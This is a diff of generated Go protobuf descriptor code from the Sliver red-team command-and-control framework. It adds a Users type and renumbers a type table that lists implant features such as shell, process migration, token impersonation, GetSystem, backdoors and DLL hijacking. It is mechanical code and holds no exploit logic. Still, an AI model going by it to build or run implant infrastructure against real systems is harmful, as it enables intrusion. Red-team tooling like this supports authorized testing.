0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, - 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, - 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, - 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, - 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, - 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, + 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, + 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, + 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, + 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, + 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, - 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, - 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, - 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, - 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, - 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, - 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, - 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, - 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, - 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, - 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, + 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, + 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, + 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, + 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, + 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -794,442 +797,445 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.Tunnel)(nil), // 118: sliverpb.Tunnel (*sliverpb.TunnelData)(nil), // 119: sliverpb.TunnelData (*clientpb.Version)(nil), // 120: clientpb.Version - (*sliverpb.Reconfigure)(nil), // 121: sliverpb.Reconfigure - (*clientpb.History)(nil), // 122: clientpb.History - (*clientpb.Sessions)(nil), // 123: clientpb.Sessions - (*clientpb.Beacons)(nil), // 124: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 125: clientpb.BeaconTasks - (*commonpb.Response)(nil), // 126: commonpb.Response - (*clientpb.Jobs)(nil), // 127: clientpb.Jobs - (*clientpb.KillJob)(nil), // 128: clientpb.KillJob - (*clientpb.MTLSListener)(nil), // 129: clientpb.MTLSListener - (*clientpb.WGListener)(nil), // 130: clientpb.WGListener - (*clientpb.DNSListener)(nil), // 131: clientpb.DNSListener - (*clientpb.HTTPListener)(nil), // 132: clientpb.HTTPListener - (*clientpb.StagerListener)(nil), // 133: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 134: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 135: clientpb.AllHosts - (*clientpb.Generate)(nil), // 136: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 137: clientpb.ExternalImplantConfig - (*clientpb.Builders)(nil), // 138: clientpb.Builders - (*clientpb.Crackstations)(nil), // 139: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 140: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 141: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 142: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 143: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 144: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 145: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 146: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 147: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 148: clientpb.Compiler - (*clientpb.MetasploitCompiler)(nil), // 149: clientpb.MetasploitCompiler - (*clientpb.ShellcodeEncode)(nil), // 150: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 151: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 152: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 153: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 154: clientpb.Websites - (*sliverpb.Ps)(nil), // 155: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 156: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 157: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 158: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 159: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 160: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 161: sliverpb.Mv - (*sliverpb.Cp)(nil), // 162: sliverpb.Cp - (*sliverpb.Rm)(nil), // 163: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 164: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 165: sliverpb.Download - (*sliverpb.Upload)(nil), // 166: sliverpb.Upload - (*sliverpb.Chmod)(nil), // 167: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 168: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 169: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 170: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 171: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 172: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 173: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 174: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 175: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 176: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 177: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 178: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 179: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 180: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 181: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 182: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 183: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 184: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 185: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 186: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 187: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 188: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 189: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 190: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 191: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 192: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 193: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 194: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 195: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 196: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 197: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 198: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 199: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 200: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 201: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 202: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 203: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 204: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 205: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 206: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 207: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 208: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 209: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 210: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 211: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 212: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 213: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 214: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 215: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 216: sliverpb.Portfwd + (*clientpb.Users)(nil), // 121: clientpb.Users + (*sliverpb.Reconfigure)(nil), // 122: sliverpb.Reconfigure + (*clientpb.History)(nil), // 123: clientpb.History + (*clientpb.Sessions)(nil), // 124: clientpb.Sessions + (*clientpb.Beacons)(nil), // 125: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 126: clientpb.BeaconTasks + (*commonpb.Response)(nil), // 127: commonpb.Response + (*clientpb.Jobs)(nil), // 128: clientpb.Jobs + (*clientpb.KillJob)(nil), // 129: clientpb.KillJob + (*clientpb.MTLSListener)(nil), // 130: clientpb.MTLSListener + (*clientpb.WGListener)(nil), // 131: clientpb.WGListener + (*clientpb.DNSListener)(nil), // 132: clientpb.DNSListener + (*clientpb.HTTPListener)(nil), // 133: clientpb.HTTPListener + (*clientpb.StagerListener)(nil), // 134: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 135: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 136: clientpb.AllHosts + (*clientpb.Generate)(nil), // 137: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 138: clientpb.ExternalImplantConfig + (*clientpb.Builders)(nil), // 139: clientpb.Builders + (*clientpb.Crackstations)(nil), // 140: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 141: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 142: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 143: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 144: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 145: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 146: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 147: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 148: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 149: clientpb.Compiler + (*clientpb.MetasploitCompiler)(nil), // 150: clientpb.MetasploitCompiler + (*clientpb.ShellcodeEncode)(nil), // 151: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 152: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 153: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 154: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 155: clientpb.Websites + (*sliverpb.Ps)(nil), // 156: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 157: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 158: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 159: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 160: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 161: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 162: sliverpb.Mv + (*sliverpb.Cp)(nil), // 163: sliverpb.Cp + (*sliverpb.Rm)(nil), // 164: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 165: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 166: sliverpb.Download + (*sliverpb.Upload)(nil), // 167: sliverpb.Upload + (*sliverpb.Chmod)(nil), // 168: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 169: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 170: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 171: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 172: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 173: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 174: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 175: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 176: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 177: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 178: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 179: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 180: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 181: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 182: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 183: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 184: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 185: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 186: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 187: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 188: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 189: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 190: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 191: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 192: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 193: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 194: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 195: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 196: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 197: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 198: sliverpb.RegistryDeleteKey + 